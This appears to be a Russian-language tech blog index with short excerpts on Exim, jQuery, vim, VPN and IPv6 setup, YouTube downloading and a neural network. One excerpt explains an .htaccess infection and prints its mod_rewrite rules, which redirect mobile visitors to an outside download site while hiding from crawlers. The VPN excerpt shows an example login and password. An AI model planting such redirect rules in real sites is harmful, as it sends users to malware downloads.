DSN (уведомление о доставке письма) для Exim, если родной DSN-патч не работает

Сразу условлюсь. Если есть возможность поставить родной DSN патч на exim, то лучше сделать это. К сожалению, после версии 4.63 это не так тривиально.

Для остальных случаев можно пойти обходным путём, который выглядит так.
Continue reading


Кроссдоменный ajax-запрос с помощью jquery

Столкнулся с тем, что по соображениям безопасности Chromium не отображает ajax-запросы, приняты с домена, отличного от того, на котором отрабатывается javascript.

Решением стал вот такой код

Continue reading


HTML-include (локальный импорт) или как собрать один html из кучи маленьких

Крохотный perl-скрипт для облегчения одной нудной задачи.

Подсмотрено тут https://www.linux.org.ru/forum/talks/11731305#comment-11731973

r-asian@localhost:~/Music/dk$ tree
.
├── build.pl
├── index.html
└── pages
    ├── 1.html
    └── 2.html

Continue reading


Мой vimrc. Обновление

set number # Номера строк
set textwidth=120 # Столбец, с которого начинаются переносы
set autoindent # Автоотступ
set tabstop=4 # Величина отступа в пробелах
set shiftwidth=4
set expandtab
set wildmenu
set noautowrite
set ignorecase
set showmatch
set nopaste
set nobackup
 
syntax on # Включаем синтаксис
 
nmap :/ # Поиск по F7
nmap :%s/ # Замена по F4
nmap :w # Сохранение по F2
vmap :wi
imap :wi
nmap :q! # Выход по F10
vmap :q!i
 
map :tabpreviousi
map :tabnext
nmap :tabnext
imap :tabnexti
nmap :tabnew
imap :tabnew
 
set wildmenu
set wcm=
menu Encoding.CP1251 :e ++enc=cp1251
menu Encoding.CP866 :

Быстрая настройка VPN-соединения в Debian/Ubuntu

Дано:

  • Адрес VPN-сервера  — remote.host.ru
  • Имя пользователя  — user29
  • Пароль — h6f0ksf
  • Адрес подсети, которую подключаем — 192.168.9.0/24
  • Адрес машины в подсети, для подключения — 192.168.9.125
  • Ssh-пользователь — user32@192.168.9.125
  • пароль от ssh пользователя — ******

Требуется:

Поднять VPN-туннель и сделать доступной для машины подсеть 192.168.9.0/24 и подключиться к  user32@192.168.9.125 по ssh

Continue reading


«Вирус» в .htaccess

Точнее целый класс вредоносного кода, схожего тем, что трафик с мобильных устройств через .htaccess с помощью правил mod_rewrite,реагирующих на User Agent браузера перенаправляют на сторонний ресурс, где можно скачать «очень полезное ПО» или, скорее всего «совершить обновление». Выглядит примерно так

RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|windows\ phone|iemobile|nokia|ucweb|ucbrowser|iPad|iPhone) [NC]
RewriteCond %{HTTP_USER_AGENT} !(bot|ia_archiver|crawler|slurp|validator|webalta|yahoo|yandex|google|curl|wget) [NC]
RewriteRule (.*) http://pda.qwertysoft.biz/?29&source=sklad-kavkaz.ru [L,R=302] # On

Поднятие IPv6 сетевого интерфейса на Debian/Ubuntu в облачном сервере компании Selectel

Пусть в информации о сервере даны следующие параметры IPv6 сети

Доступный диапазон IPv6-адресов: 2a00:ab00:107:46:182:24:54:0000 — 2a00:ab00:107:46:182:24:54:FFFF

Маска: /48

Шлюз: 2a00:ab00:107::1

Тогда в консоли надо выполнить следующее:

# ip -6 addr add 2a00:ab00:107:46:182:24:54:1/48 dev eth0
# ip -6 route add ::/0 via 2a00:ab00:107::1 dev eth0


Сохранение видео с youtube в Debian/Ubuntu.

Наиболее адекватная утилита из тех что я нашел — это clive

Ставится как обычно

sudo apt-get install clive

Синтаксис тоже весьма незамысловатый

$ clive -O "rock_terrible.flv" "https://www.youtube.com/watch?v=dRmbIjf-FfA"

После чего появится монитор прогресса и видео сохранится в «rock_terrible.flv»

 

Checking ...done.
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 29.8M  100 29.8M    0     0   126k      0  0:04:02  0:04:02 --:--:--  164k

Применение нейронной сети, обучающейся без учителя для классификации продуктов питания по диетическим свойствам.

Дано:

  • Таблица продуктов питания с содержанием в них белков, жиров, углеводов и калорийности (некоторые цифры там у меня вызывают вопросы, например, откуда в черном чае белкИ, и почему пиво по калорийности сравнимо с грейпфруктовым соком, но в целом она аекватна).
  • Нейросеть с 4 входами (по количеству параметров), одним внутренним слоем из 16 нейронов и одним выходом, обучающаяся по модифицированному алгоритму Хэбба с акредитацией.

Необходимо, чтобы нейронная сеть сгруппировала данные продукты питания по принципу схожести их диетических параметров. Воспользуемся следующим алгоритмом
Continue reading